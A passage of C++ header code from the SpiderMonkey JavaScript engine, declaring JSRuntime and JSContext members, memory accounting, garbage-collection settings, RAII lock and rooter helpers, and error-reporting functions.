gcZealFrequency; int gcNextScheduled; bool gcDeterministicOnly; int gcIncrementalLimit; js::Vector gcSelectedForMarking; int gcZeal() { return gcZeal_; } bool needZealousGC() { if (gcNextScheduled > 0 && --gcNextScheduled == 0) { if (gcZeal() == js::gc::ZealAllocValue || gcZeal() == js::gc::ZealPurgeAnalysisValue || (gcZeal() >= js::gc::ZealIncrementalRootsThenFinish && gcZeal() <= js::gc::ZealIncrementalMultipleSlices)) { gcNextScheduled = gcZealFrequency; } return true; } return false; } #else int gcZeal() { return 0; } bool needZealousGC() { return false; } #endif bool gcValidate; JSGCCallback gcCallback; js::GCSliceCallback gcSliceCallback; JSFinalizeCallback gcFinalizeCallback; js::AnalysisPurgeCallback analysisPurgeCallback; uint64_t analysisPurgeTriggerBytes; private: /* * Malloc counter to measure memory pressure for GC scheduling. It runs * from gcMaxMallocBytes down to zero. */ volatile ptrdiff_t gcMallocBytes; public: /* * The trace operations to trace embedding-specific GC roots. One is for * tracing through black roots and the other is for tracing through gray * roots. The black/gray distinction is only relevant to the cycle * collector. */ JSTraceDataOp gcBlackRootsTraceOp; void *gcBlackRootsData; JSTraceDataOp gcGrayRootsTraceOp; void *gcGrayRootsData; /* Stack of thread-stack-allocated GC roots. */ js::AutoGCRooter *autoGCRooters; /* Strong references on scripts held for PCCount profiling API. */ js::ScriptAndCountsVector *scriptAndCountsVector; /* Well-known numbers held for use by this runtime's contexts. */ js::Value NaNValue; js::Value negativeInfinityValue; js::Value positiveInfinityValue; JSAtom *emptyString; /* List of active contexts sharing this runtime. */ JSCList contextList; bool hasContexts() const { return !JS_CLIST_IS_EMPTY(&contextList); } JS_SourceHook sourceHook; /* Per runtime debug hooks -- see jsprvtd.h and jsdbgapi.h. */ JSDebugHooks debugHooks; /* If true, new compartments are initially in debug mode. */ bool debugMode; /* SPS profiling metadata */ js::SPSProfiler spsProfiler; /* If true, new scripts must be created with PC counter information. */ bool profilingScripts; /* Always preserve JIT code during GCs, for testing. */ bool alwaysPreserveCode; /* Had an out-of-memory error which did not populate an exception. */ JSBool hadOutOfMemory; /* * Linked list of all js::Debugger objects. This may be accessed by the GC * thread, if any, or a thread that is in a request and holds gcLock. */ JSCList debuggerList; /* Bookkeeping information for debug scope objects. */ js::DebugScopes *debugScopes; /* Client opaque pointers */ void *data; /* These combine to interlock the GC and new requests. */ PRLock *gcLock; js::GCHelperThread gcHelperThread; #ifdef JS_THREADSAFE js::SourceCompressorThread sourceCompressorThread; #endif private: js::FreeOp defaultFreeOp_; public: js::FreeOp *defaultFreeOp() { return &defaultFreeOp_; } uint32_t debuggerMutations; const JSSecurityCallbacks *securityCallbacks; const js::DOMCallbacks *DOMcallbacks; JSDestroyPrincipalsOp destroyPrincipals; /* Structured data callbacks are runtime-wide. */ const JSStructuredCloneCallbacks *structuredCloneCallbacks; /* Call this to accumulate telemetry data. */ JSAccumulateTelemetryDataCallback telemetryCallback; /* * The propertyRemovals counter is incremented for every JSObject::clear, * and for each JSObject::remove method call that frees a slot in the given * object. See js_NativeGet and js_NativeSet in jsobj.cpp. */ int32_t propertyRemovals; /* Number localization, used by jsnum.c */ const char *thousandsSeparator; const char *decimalSeparator; const char *numGrouping; /* * Flag indicating that we are waiving any soft limits on the GC heap * because we want allocations to be infallible (except when we hit OOM). */ bool waiveGCQuota; private: js::MathCache *mathCache_; js::MathCache *createMathCache(JSContext *cx); public: js::MathCache *getMathCache(JSContext *cx) { return mathCache_ ? mathCache_ : createMathCache(cx); } js::GSNCache gsnCache; js::PropertyCache propertyCache; js::NewObjectCache newObjectCache; js::NativeIterCache nativeIterCache; js::SourceDataCache sourceDataCache; js::EvalCache evalCache; /* State used by jsdtoa.cpp. */ DtoaState *dtoaState; /* List of currently pending operations on proxies. */ js::PendingProxyOperation *pendingProxyOperation; js::ConservativeGCData conservativeGC; private: JSPrincipals *trustedPrincipals_; public: void setTrustedPrincipals(JSPrincipals *p) { trustedPrincipals_ = p; } JSPrincipals *trustedPrincipals() const { return trustedPrincipals_; } /* Literal table maintained by jsatom.c functions. */ JSAtomState atomState; /* Tables of strings that are pre-allocated in the atomsCompartment. */ js::StaticStrings staticStrings; JSWrapObjectCallback wrapObjectCallback; JSSameCompartmentWrapObjectCallback sameCompartmentWrapObjectCallback; JSPreWrapCallback preWrapObjectCallback; js::PreserveWrapperCallback preserveWrapperCallback; js::ScriptFilenameTable scriptFilenameTable; #ifdef DEBUG size_t noGCOrAllocationCheck; #endif /* * To ensure that cx->malloc does not cause a GC, we set this flag during * OOM reporting (in js_ReportOutOfMemory). If a GC is requested while * reporting the OOM, we ignore it. */ int32_t inOOMReport; bool jitHardening; JSRuntime(); ~JSRuntime(); bool init(uint32_t maxbytes); JSRuntime *thisFromCtor() { return this; } /* * Call the system malloc while checking for GC memory pressure and * reporting OOM error when cx is not null. We will not GC from here. */ void* malloc_(size_t bytes, JSContext *cx = NULL) { updateMallocCounter(cx, bytes); void *p = ::js_malloc(bytes); return JS_LIKELY(!!p) ? p : onOutOfMemory(NULL, bytes, cx); } /* * Call the system calloc while checking for GC memory pressure and * reporting OOM error when cx is not null. We will not GC from here. */ void* calloc_(size_t bytes, JSContext *cx = NULL) { updateMallocCounter(cx, bytes); void *p = ::js_calloc(bytes); return JS_LIKELY(!!p) ? p : onOutOfMemory(reinterpret_cast(1), bytes, cx); } void* realloc_(void* p, size_t oldBytes, size_t newBytes, JSContext *cx = NULL) { JS_ASSERT(oldBytes < newBytes); updateMallocCounter(cx, newBytes - oldBytes); void *p2 = ::js_realloc(p, newBytes); return JS_LIKELY(!!p2) ? p2 : onOutOfMemory(p, newBytes, cx); } void* realloc_(void* p, size_t bytes, JSContext *cx = NULL) { /* * For compatibility we do not account for realloc that increases * previously allocated memory. */ if (!p) updateMallocCounter(cx, bytes); void *p2 = ::js_realloc(p, bytes); return JS_LIKELY(!!p2) ? p2 : onOutOfMemory(p, bytes, cx); } inline void free_(void* p) { /* FIXME: Making this free in the background is buggy. Can it work? */ js::Foreground::free_(p); } JS_DECLARE_NEW_METHODS(malloc_, JS_ALWAYS_INLINE) JS_DECLARE_DELETE_METHODS(free_, JS_ALWAYS_INLINE) void setGCMaxMallocBytes(size_t value); void resetGCMallocBytes() { gcMallocBytes = ptrdiff_t(gcMaxMallocBytes); } /* * Call this after allocating memory held by GC things, to update memory * pressure counters or report the OOM error if necessary. If oomError and * cx is not null the function also reports OOM error. * * The function must be called outside the GC lock and in case of OOM error * the caller must ensure that no deadlock possible during OOM reporting. */ void updateMallocCounter(JSContext *cx, size_t nbytes); bool isTooMuchMalloc() const { return gcMallocBytes <= 0; } /* * The function must be called outside the GC lock. */ JS_FRIEND_API(void) onTooMuchMalloc(); /* * This should be called after system malloc/realloc returns NULL to try * to recove some memory or to report an error. Failures in malloc and * calloc are signaled by p == null and p == reinterpret_cast(1). * Other values of p mean a realloc failure. * * The function must be called outside the GC lock. */ JS_FRIEND_API(void *) onOutOfMemory(void *p, size_t nbytes, JSContext *cx); void triggerOperationCallback(); void setJitHardening(bool enabled); bool getJitHardening() const { return jitHardening; } void sizeOfIncludingThis(JSMallocSizeOfFun mallocSizeOf, JS::RuntimeSizes *runtime); size_t sizeOfExplicitNonHeap(); }; /* Common macros to access thread-local caches in JSRuntime. */ #define JS_PROPERTY_CACHE(cx) (cx->runtime->propertyCache) #define JS_KEEP_ATOMS(rt) (rt)->gcKeepAtoms++; #define JS_UNKEEP_ATOMS(rt) (rt)->gcKeepAtoms--; #ifdef JS_ARGUMENT_FORMATTER_DEFINED /* * Linked list mapping format strings for JS_{Convert,Push}Arguments{,VA} to * formatter functions. Elements are sorted in non-increasing format string * length order. */ struct JSArgumentFormatMap { const char *format; size_t length; JSArgumentFormatter formatter; JSArgumentFormatMap *next; }; #endif namespace js { struct AutoResolving; static inline bool OptionsHasAllowXML(uint32_t options) { return !!(options & JSOPTION_ALLOW_XML); } static inline bool OptionsHasMoarXML(uint32_t options) { return !!(options & JSOPTION_MOAR_XML); } static inline bool OptionsSameVersionFlags(uint32_t self, uint32_t other) { static const uint32_t mask = JSOPTION_MOAR_XML; return !((self & mask) ^ (other & mask)); } /* * Flags accompany script version data so that a) dynamically created scripts * can inherit their caller's compile-time properties and b) scripts can be * appropriately compared in the eval cache across global option changes. An * example of the latter is enabling the top-level-anonymous-function-is-error * option: subsequent evals of the same, previously-valid script text may have * become invalid. */ namespace VersionFlags { static const unsigned MASK = 0x0FFF; /* see JSVersion in jspubtd.h */ static const unsigned ALLOW_XML = 0x1000; /* flag induced by JSOPTION_ALLOW_XML */ static const unsigned MOAR_XML = 0x2000; /* flag induced by JSOPTION_MOAR_XML */ static const unsigned FULL_MASK = 0x3FFF; } /* namespace VersionFlags */ static inline JSVersion VersionNumber(JSVersion version) { return JSVersion(uint32_t(version) & VersionFlags::MASK); } static inline bool VersionHasAllowXML(JSVersion version) { return !!(version & VersionFlags::ALLOW_XML); } static inline bool VersionHasMoarXML(JSVersion version) { return !!(version & VersionFlags::MOAR_XML); } /* @warning This is a distinct condition from having the XML flag set. */ static inline bool VersionShouldParseXML(JSVersion version) { return VersionHasMoarXML(version) || VersionNumber(version) >= JSVERSION_1_6; } static inline JSVersion VersionExtractFlags(JSVersion version) { return JSVersion(uint32_t(version) & ~VersionFlags::MASK); } static inline void VersionCopyFlags(JSVersion *version, JSVersion from) { *version = JSVersion(VersionNumber(*version) | VersionExtractFlags(from)); } static inline bool VersionHasFlags(JSVersion version) { return !!VersionExtractFlags(version); } static inline unsigned VersionFlagsToOptions(JSVersion version) { unsigned copts = (VersionHasAllowXML(version) ? JSOPTION_ALLOW_XML : 0) | (VersionHasMoarXML(version) ? JSOPTION_MOAR_XML : 0); JS_ASSERT((copts & JSCOMPILEOPTION_MASK) == copts); return copts; } static inline JSVersion OptionFlagsToVersion(unsigned options, JSVersion version) { uint32_t v = version; v &= ~(VersionFlags::ALLOW_XML | VersionFlags::MOAR_XML); if (OptionsHasAllowXML(options)) v |= VersionFlags::ALLOW_XML; if (OptionsHasMoarXML(options)) v |= VersionFlags::MOAR_XML; return JSVersion(v); } static inline bool VersionIsKnown(JSVersion version) { return VersionNumber(version) != JSVERSION_UNKNOWN; } inline void FreeOp::free_(void* p) { if (shouldFreeLater()) { runtime()->gcHelperThread.freeLater(p); return; } runtime()->free_(p); } } /* namespace js */ struct JSContext : js::ContextFriendFields { explicit JSContext(JSRuntime *rt); JSContext *thisDuringConstruction() { return this; } ~JSContext(); /* JSRuntime contextList linkage. */ JSCList link; private: /* See JSContext::findVersion. */ JSVersion defaultVersion; /* script compilation version */ JSVersion versionOverride; /* supercedes defaultVersion when valid */ bool hasVersionOverride; /* Exception state -- the exception member is a GC root by definition. */ JSBool throwing; /* is there a pending exception? */ js::Value exception; /* most-recently-thrown exception */ /* Per-context run options. */ unsigned runOptions; /* see jsapi.h for JSOPTION_* */ public: int32_t reportGranularity; /* see jsprobes.h */ /* Locale specific callbacks for string conversion. */ JSLocaleCallbacks *localeCallbacks; js::AutoResolving *resolvingList; /* True if generating an error, to prevent runaway recursion. */ bool generatingError; #ifdef DEBUG bool rootingUnnecessary; #endif /* The current compartment. */ JSCompartment *compartment; inline void setCompartment(JSCompartment *c) { compartment = c; } /* * "Entering" a compartment changes cx->compartment (which changes * cx->global). Note that this does not push any StackFrame which means * that it is possible for cx->fp()->compartment() != cx->compartment. * This is not a problem since, in general, most places in the VM cannot * know that they were called from script (e.g., they may have been called * through the JSAPI via JS_CallFunction) and thus cannot expect fp. * * Compartments should be entered/left in a LIFO fasion. The depth of this * enter/leave stack is maintained by enterCompartmentDepth_ and queried by * hasEnteredCompartment. * * To enter a compartment, code should prefer using AutoCompartment over * manually calling cx->enterCompartment/leaveCompartment. */ private: unsigned enterCompartmentDepth_; public: inline bool hasEnteredCompartment() const; inline void enterCompartment(JSCompartment *c); inline void leaveCompartment(JSCompartment *c); /* See JS_SaveFrameChain/JS_RestoreFrameChain. */ private: struct SavedFrameChain { SavedFrameChain(JSCompartment *comp, unsigned count) : compartment(comp), enterCompartmentCount(count) {} JSCompartment *compartment; unsigned enterCompartmentCount; }; typedef js::Vector SaveStack; SaveStack savedFrameChains_; public: bool saveFrameChain(); void restoreFrameChain(); /* * When no compartments have been explicitly entered, the context's * compartment will be set to the compartment of the "default compartment * object". */ private: JSObject *defaultCompartmentObject_; public: inline void setDefaultCompartmentObject(JSObject *obj); inline void setDefaultCompartmentObjectIfUnset(JSObject *obj); JSObject *maybeDefaultCompartmentObject() const { return defaultCompartmentObject_; } /* Current execution stack. */ js::ContextStack stack; /* Current global. */ inline js::Handle global() const; /* ContextStack convenience functions */ inline bool hasfp() const { return stack.hasfp(); } inline js::StackFrame* fp() const { return stack.fp(); } inline js::StackFrame* maybefp() const { return stack.maybefp(); } inline js::FrameRegs& regs() const { return stack.regs(); } inline js::FrameRegs* maybeRegs() const { return stack.maybeRegs(); } /* Wrap cx->exception for the current compartment. */ void wrapPendingException(); private: /* Lazily initialized pool of maps used during parse/emit. */ js::frontend::ParseMapPool *parseMapPool_; public: /* State for object and array toSource conversion. */ js::ObjectSet cycleDetectorSet; /* Argument formatter support for JS_{Convert,Push}Arguments{,VA}. */ JSArgumentFormatMap *argumentFormatMap; /* Last message string and log file for debugging. */ char *lastMessage; /* Per-context optional error reporter. */ JSErrorReporter errorReporter; /* Branch callback. */ JSOperationCallback operationCallback; /* Client opaque pointers. */ void *data; void *data2; inline js::RegExpStatics *regExpStatics(); public: js::frontend::ParseMapPool &parseMapPool() { JS_ASSERT(parseMapPool_); return *parseMapPool_; } inline bool ensureParseMapPool(); /* * The default script compilation version can be set iff there is no code running. * This typically occurs via the JSAPI right after a context is constructed. */ inline bool canSetDefaultVersion() const; /* Force a version for future script compilation. */ inline void overrideVersion(JSVersion newVersion); /* Set the default script compilation version. */ void setDefaultVersion(JSVersion version) { defaultVersion = version; } void clearVersionOverride() { hasVersionOverride = false; } JSVersion getDefaultVersion() const { return defaultVersion; } bool isVersionOverridden() const { return hasVersionOverride; } JSVersion getVersionOverride() const { JS_ASSERT(isVersionOverridden()); return versionOverride; } /* * Set the default version if possible; otherwise, force the version. * Return whether an override occurred. */ inline bool maybeOverrideVersion(JSVersion newVersion); /* * If there is no code on the stack, turn the override version into the * default version. */ void maybeMigrateVersionOverride() { JS_ASSERT(stack.empty()); if (JS_UNLIKELY(isVersionOverridden())) { defaultVersion = versionOverride; clearVersionOverride(); } } /* * Return: * - The override version, if there is an override version. * - The newest scripted frame's version, if there is such a frame. * - The default version. * * Note: if this ever shows up in a profile, just add caching! */ inline JSVersion findVersion() const; void setRunOptions(unsigned ropts) { JS_ASSERT((ropts & JSRUNOPTION_MASK) == ropts); runOptions = ropts; } /* Note: may override the version. */ inline void setCompileOptions(unsigned newcopts); unsigned getRunOptions() const { return runOptions; } inline unsigned getCompileOptions() const; inline unsigned allOptions() const; bool hasRunOption(unsigned ropt) const { JS_ASSERT((ropt & JSRUNOPTION_MASK) == ropt); return !!(runOptions & ropt); } bool hasStrictOption() const { return hasRunOption(JSOPTION_STRICT); } bool hasWErrorOption() const { return hasRunOption(JSOPTION_WERROR); } bool hasAtLineOption() const { return hasRunOption(JSOPTION_ATLINE); } js::LifoAlloc &tempLifoAlloc() { return runtime->tempLifoAlloc; } inline js::LifoAlloc &analysisLifoAlloc(); inline js::LifoAlloc &typeLifoAlloc(); inline js::PropertyTree &propertyTree(); #ifdef JS_THREADSAFE unsigned outstandingRequests;/* number of JS_BeginRequest calls without the corresponding JS_EndRequest. */ #endif /* Stored here to avoid passing it around as a parameter. */ unsigned resolveFlags; /* Random number generator state, used by jsmath.cpp. */ int64_t rngSeed; /* Location to stash the iteration value between JSOP_MOREITER and JSOP_ITERNEXT. */ js::Value iterValue; #ifdef JS_METHODJIT bool methodJitEnabled; js::mjit::JaegerRuntime &jaegerRuntime() { return runtime->jaegerRuntime(); } #endif inline bool typeInferenceEnabled() const; /* Caller must be holding runtime->gcLock. */ void updateJITEnabled(); #ifdef MOZ_TRACE_JSCALLS /* Function entry/exit debugging callback. */ JSFunctionCallback functionCallback; void doFunctionCallback(const JSFunction *fun, const JSScript *scr, int entering) const { if (functionCallback) functionCallback(fun, scr, this, entering); } #endif DSTOffsetCache dstOffsetCache; /* List of currently active non-escaping enumerators (for-in). */ js::PropertyIteratorObject *enumerators; private: /* Innermost-executing generator or null if no generator are executing. */ JSGenerator *innermostGenerator_; public: JSGenerator *innermostGenerator() const { return innermostGenerator_; } void enterGenerator(JSGenerator *gen); void leaveGenerator(JSGenerator *gen); inline void* malloc_(size_t bytes) { return runtime->malloc_(bytes, this); } inline void* mallocNoReport(size_t bytes) { JS_ASSERT(bytes != 0); return runtime->malloc_(bytes, NULL); } inline void* calloc_(size_t bytes) { return runtime->calloc_(bytes, this); } inline void* realloc_(void* p, size_t bytes) { return runtime->realloc_(p, bytes, this); } inline void* realloc_(void* p, size_t oldBytes, size_t newBytes) { return runtime->realloc_(p, oldBytes, newBytes, this); } inline void free_(void* p) { runtime->free_(p); } JS_DECLARE_NEW_METHODS(malloc_, inline) JS_DECLARE_DELETE_METHODS(free_, inline) void purge(); bool isExceptionPending() { return throwing; } js::Value getPendingException() { JS_ASSERT(throwing); return exception; } void setPendingException(js::Value v); void clearPendingException() { throwing = false; exception.setUndefined(); } #ifdef DEBUG /* * Controls whether a quadratic-complexity assertion is performed during * stack iteration; defaults to true. */ bool stackIterAssertionEnabled; #endif /* * Count of currently active compilations. * When there are compilations active for the context, the GC must not * purge the ParseMapPool. */ unsigned activeCompilations; /* * See JS_SetTrustedPrincipals in jsapi.h. * Note: !cx->compartment is treated as trusted. */ bool runningWithTrustedPrincipals() const; JS_FRIEND_API(size_t) sizeOfIncludingThis(JSMallocSizeOfFun mallocSizeOf) const; static inline JSContext *fromLinkField(JSCList *link) { JS_ASSERT(link); return reinterpret_cast(uintptr_t(link) - offsetof(JSContext, link)); } void mark(JSTracer *trc); private: /* * The allocation code calls the function to indicate either OOM failure * when p is null or that a memory pressure counter has reached some * threshold when p is not null. The function takes the pointer and not * a boolean flag to minimize the amount of code in its inlined callers. */ JS_FRIEND_API(void) checkMallocGCPressure(void *p); }; /* struct JSContext */ namespace js { struct AutoResolving { public: enum Kind { LOOKUP, WATCH }; AutoResolving(JSContext *cx, HandleObject obj, HandleId id, Kind kind = LOOKUP JS_GUARD_OBJECT_NOTIFIER_PARAM) : context(cx), object(obj), id(id), kind(kind), link(cx->resolvingList) { JS_GUARD_OBJECT_NOTIFIER_INIT; JS_ASSERT(obj); cx->resolvingList = this; } ~AutoResolving() { JS_ASSERT(context->resolvingList == this); context->resolvingList = link; } bool alreadyStarted() const { return link && alreadyStartedSlow(); } private: bool alreadyStartedSlow() const; JSContext *const context; HandleObject object; HandleId id; Kind const kind; AutoResolving *const link; JS_DECL_USE_GUARD_OBJECT_NOTIFIER }; #if JS_HAS_XML_SUPPORT class AutoXMLRooter : private AutoGCRooter { public: AutoXMLRooter(JSContext *cx, JSXML *xml JS_GUARD_OBJECT_NOTIFIER_PARAM) : AutoGCRooter(cx, XML), xml(xml) { JS_GUARD_OBJECT_NOTIFIER_INIT; JS_ASSERT(xml); } friend void AutoGCRooter::trace(JSTracer *trc); private: JSXML * const xml; JS_DECL_USE_GUARD_OBJECT_NOTIFIER }; #endif /* JS_HAS_XML_SUPPORT */ #ifdef JS_THREADSAFE # define JS_LOCK_GC(rt) PR_Lock((rt)->gcLock) # define JS_UNLOCK_GC(rt) PR_Unlock((rt)->gcLock) #else # define JS_LOCK_GC(rt) do { } while (0) # define JS_UNLOCK_GC(rt) do { } while (0) #endif class AutoLockGC { public: explicit AutoLockGC(JSRuntime *rt = NULL MOZ_GUARD_OBJECT_NOTIFIER_PARAM) : runtime(rt) { MOZ_GUARD_OBJECT_NOTIFIER_INIT; // Avoid MSVC warning C4390 for non-threadsafe builds. if (rt) JS_LOCK_GC(rt); } ~AutoLockGC() { if (runtime) JS_UNLOCK_GC(runtime); } bool locked() const { return !!runtime; } void lock(JSRuntime *rt) { JS_ASSERT(rt); JS_ASSERT(!runtime); runtime = rt; JS_LOCK_GC(rt); } private: JSRuntime *runtime; MOZ_DECL_USE_GUARD_OBJECT_NOTIFIER }; class AutoUnlockGC { private: #ifdef JS_THREADSAFE JSRuntime *rt; #endif JS_DECL_USE_GUARD_OBJECT_NOTIFIER public: explicit AutoUnlockGC(JSRuntime *rt JS_GUARD_OBJECT_NOTIFIER_PARAM) #ifdef JS_THREADSAFE : rt(rt) #endif { JS_GUARD_OBJECT_NOTIFIER_INIT; JS_UNLOCK_GC(rt); } ~AutoUnlockGC() { JS_LOCK_GC(rt); } }; class AutoKeepAtoms { JSRuntime *rt; JS_DECL_USE_GUARD_OBJECT_NOTIFIER public: explicit AutoKeepAtoms(JSRuntime *rt JS_GUARD_OBJECT_NOTIFIER_PARAM) : rt(rt) { JS_GUARD_OBJECT_NOTIFIER_INIT; JS_KEEP_ATOMS(rt); } ~AutoKeepAtoms() { JS_UNKEEP_ATOMS(rt); } }; class AutoReleasePtr { JSContext *cx; void *ptr; JS_DECL_USE_GUARD_OBJECT_NOTIFIER AutoReleasePtr(const AutoReleasePtr &other) MOZ_DELETE; AutoReleasePtr operator=(const AutoReleasePtr &other) MOZ_DELETE; public: explicit AutoReleasePtr(JSContext *cx, void *ptr JS_GUARD_OBJECT_NOTIFIER_PARAM) : cx(cx), ptr(ptr) { JS_GUARD_OBJECT_NOTIFIER_INIT; } ~AutoReleasePtr() { cx->free_(ptr); } }; /* * FIXME: bug 602774: cleaner API for AutoReleaseNullablePtr */ class AutoReleaseNullablePtr { JSContext *cx; void *ptr; JS_DECL_USE_GUARD_OBJECT_NOTIFIER AutoReleaseNullablePtr(const AutoReleaseNullablePtr &other) MOZ_DELETE; AutoReleaseNullablePtr operator=(const AutoReleaseNullablePtr &other) MOZ_DELETE; public: explicit AutoReleaseNullablePtr(JSContext *cx, void *ptr JS_GUARD_OBJECT_NOTIFIER_PARAM) : cx(cx), ptr(ptr) { JS_GUARD_OBJECT_NOTIFIER_INIT; } void reset(void *ptr2) { if (ptr) cx->free_(ptr); ptr = ptr2; } ~AutoReleaseNullablePtr() { if (ptr) cx->free_(ptr); } }; } /* namespace js */ class JSAutoResolveFlags { public: JSAutoResolveFlags(JSContext *cx, unsigned flags JS_GUARD_OBJECT_NOTIFIER_PARAM) : mContext(cx), mSaved(cx->resolveFlags) { JS_GUARD_OBJECT_NOTIFIER_INIT; cx->resolveFlags = flags; } ~JSAutoResolveFlags() { mContext->resolveFlags = mSaved; } private: JSContext *mContext; unsigned mSaved; JS_DECL_USE_GUARD_OBJECT_NOTIFIER }; namespace js { /* * Enumerate all contexts in a runtime. */ class ContextIter { JSCList *begin; JSCList *end; public: explicit ContextIter(JSRuntime *rt) { end = &rt->contextList; begin = end->next; } bool done() const { return begin == end; } void next() { JS_ASSERT(!done()); begin = begin->next; } JSContext *get() const { JS_ASSERT(!done()); return JSContext::fromLinkField(begin); } operator JSContext *() const { return get(); } JSContext *operator ->() const { return get(); } }; /* * Create and destroy functions for JSContext, which is manually allocated * and exclusively owned. */ extern JSContext * NewContext(JSRuntime *rt, size_t stackChunkSize); enum DestroyContextMode { DCM_NO_GC, DCM_FORCE_GC, DCM_NEW_FAILED }; extern void DestroyContext(JSContext *cx, DestroyContextMode mode); } /* namespace js */ #ifdef va_start extern JSBool js_ReportErrorVA(JSContext *cx, unsigned flags, const char *format, va_list ap); extern JSBool js_ReportErrorNumberVA(JSContext *cx, unsigned flags, JSErrorCallback callback, void *userRef, const unsigned errorNumber, JSBool charArgs, va_list ap); extern JSBool js_ExpandErrorArguments(JSContext *cx, JSErrorCallback callback, void *userRef, const unsigned errorNumber, char **message, JSErrorReport *reportp, bool charArgs, va_list ap); #endif namespace js { /* |callee| requires a usage string provided by JS_DefineFunctionsWithHelp. */ extern void ReportUsageError(JSContext *cx, HandleObject callee, const char *msg); } /* namespace js */ extern void js_ReportOutOfMemory(JSContext *cx); extern JS_FRIEND_API(void) js_ReportAllocationOverflow(JSContext *cx); /* * Report an exception using a previously composed JSErrorReport. * XXXbe remove from "friend" API */ extern JS_FRIEND_API(void) js_ReportErrorAgain(JSContext *cx, const char *message, JSErrorReport *report); extern void js_ReportIsNotDefined(JSContext *cx, const char *name); /* * Report an attempt to access the property of a null or undefined value (v). */ extern JSBool js_ReportIsNullOrUndefined(JSContext *cx, int spindex, js::HandleValue v, js::HandleString fallback); extern void js_ReportMissingArg(JSContext *cx, js::HandleValue v, unsigned arg); /* * Report error using js_DecompileValueGenerator(cx, spindex, v, fallback) as * the first argument for the error message. If the error message has less * then 3 arguments, use null for arg1 or arg2. */ extern JSBool js_ReportValueErrorFlags(JSContext *cx, unsigned flags, const unsigned errorNumber, int spindex, js::HandleValue v, js::HandleString fallback, const char *arg1, const char *arg2); #define js_ReportValueError(cx,errorNumber,spindex,v,fallback) \ ((void)js_ReportValueErrorFlags(cx, JSREPORT_ERROR, errorNumber, \ spindex, v, fallback, NULL, NULL)) #define js_ReportValueError2(cx,errorNumber,spindex,v,fallback,arg1) \ ((void)js_ReportValueErrorFlags(cx, JSREPORT_ERROR, errorNumber, \ spindex, v, fallback, arg1, NULL)) #define js_ReportValueError3(cx,errorNumber,spindex,v,fallback,arg1,arg2) \ ((void)js_ReportValueErrorFlags(cx, JSREPORT_ERROR, errorNumber, \ spindex, v, fallback, arg1, arg2)) extern JSErrorFormatString js_ErrorFormatString[JSErr_Limit]; #ifdef JS_THREADSAFE # define JS_ASSERT_REQUEST_DEPTH(cx) JS_ASSERT((cx)->runtime->requestDepth >= 1) #else # define JS_ASSERT_REQUEST_DEPTH(cx) ((void) 0) #endif /* * Invoke the operation callback and return false if the current execution * is to be terminated. */ extern JSBool js_InvokeOperationCallback(JSContext *cx); extern JSBool js_HandleExecutionInterrupt(JSContext *cx); extern jsbytecode* js_GetCurrentBytecodePC(JSContext* cx); /* * If the operation callback flag was set, call the operation callback. * This macro can run the full GC. Return true if it is OK to continue and * false otherwise. */ static MOZ_ALWAYS_INLINE bool JS_CHECK_OPERATION_LIMIT(JSContext *cx) { JS_ASSERT_REQUEST_DEPTH(cx); return !cx->runtime->interrupt || js_InvokeOperationCallback(cx); } namespace js { #ifdef JS_METHODJIT namespace mjit { void ExpandInlineFrames(JSCompartment *compartment); } #endif } /* namespace js */ /* How much expansion of inlined frames to do when inspecting the stack. */ enum FrameExpandKind { FRAME_EXPAND_NONE = 0, FRAME_EXPAND_ALL = 1 }; namespace js { /************************************************************************/ static JS_ALWAYS_INLINE void MakeRangeGCSafe(Value *vec, size_t len) { PodZero(vec, len); } static JS_ALWAYS_INLINE void MakeRangeGCSafe(Value *beg, Value *end) { PodZero(beg, end - beg); } static JS_ALWAYS_INLINE void MakeRangeGCSafe(jsid *beg, jsid *end) { for (jsid *id = beg; id != end; ++id) *id = INT_TO_JSID(0); } static JS_ALWAYS_INLINE void MakeRangeGCSafe(jsid *vec, size_t len) { MakeRangeGCSafe(vec, vec + len); } static JS_ALWAYS_INLINE void MakeRangeGCSafe(Shape **beg, Shape **end) { PodZero(beg, end - beg); } static JS_ALWAYS_INLINE void MakeRangeGCSafe(Shape **vec, size_t len) { PodZero(vec, len); } static JS_ALWAYS_INLINE void SetValueRangeToUndefined(Value *beg, Value *end) { for (Value *v = beg; v != end; ++v) v->setUndefined(); } static JS_ALWAYS_INLINE void SetValueRangeToUndefined(Value *vec, size_t len) { SetValueRangeToUndefined(vec, vec + len); } static JS_ALWAYS_INLINE void SetValueRangeToNull(Value *beg, Value *end) { for (Value *v = beg; v != end; ++v) v->setNull(); } static JS_ALWAYS_INLINE void SetValueRangeToNull(Value *vec, size_t len) { SetValueRangeToNull(vec, vec + len); } class AutoObjectVector : public AutoVectorRooter { public: explicit AutoObjectVector(JSContext *cx JS_GUARD_OBJECT_NOTIFIER_PARAM) : AutoVectorRooter(cx, OBJVECTOR) { JS_GUARD_OBJECT_NOTIFIER_INIT; } JS_DECL_USE_GUARD_OBJECT_NOTIFIER }; class AutoStringVector : public AutoVectorRooter { public: explicit AutoStringVector(JSContext *cx JS_GUARD_OBJECT_NOTIFIER_PARAM) : AutoVectorRooter(cx, STRINGVECTOR) { JS_GUARD_OBJECT_NOTIFIER_INIT; } JS_DECL_USE_GUARD_OBJECT_NOTIFIER }; class AutoShapeVector : public AutoVectorRooter { public: explicit AutoShapeVector(JSContext *cx JS_GUARD_OBJECT_NOTIFIER_PARAM) : AutoVectorRooter(cx, SHAPEVECTOR) { JS_GUARD_OBJECT_NOTIFIER_INIT; } JS_DECL_USE_GUARD_OBJECT_NOTIFIER }; class AutoValueArray : public AutoGCRooter { js::Value *start_; unsigned length_; SkipRoot skip; public: AutoValueArray(JSContext *cx, js::Value *start, unsigned length JS_GUARD_OBJECT_NOTIFIER_PARAM) : AutoGCRooter(cx, VALARRAY), start_(start), length_(length), skip(cx, start, length) { JS_GUARD_OBJECT_NOTIFIER_INIT; } Value *start() { return start_; } unsigned length() const { return length_; } JS_DECL_USE_GUARD_OBJECT_NOTIFIER }; /* * Allocation policy that uses JSRuntime::malloc_ and friends, so that * memory pressure is properly accounted for. This is suitable for * long-lived objects owned by the JSRuntime. * * Since it doesn't hold a JSContext (those may not live long enough), it * can't report out-of-memory conditions itself; the caller must check for * OOM and take the appropriate action. * * FIXME bug 647103 - replace these *AllocPolicy names. */ class RuntimeAllocPolicy { JSRuntime *const runtime; public: RuntimeAllocPolicy(JSRuntime *rt) : runtime(rt) {} RuntimeAllocPolicy(JSContext *cx) : runtime(cx->runtime) {} void *malloc_(size_t bytes) { return runtime->malloc_(bytes); } void *realloc_(void *p, size_t bytes) { return runtime->realloc_(p, bytes); } void free_(void *p) { runtime->free_(p); } void 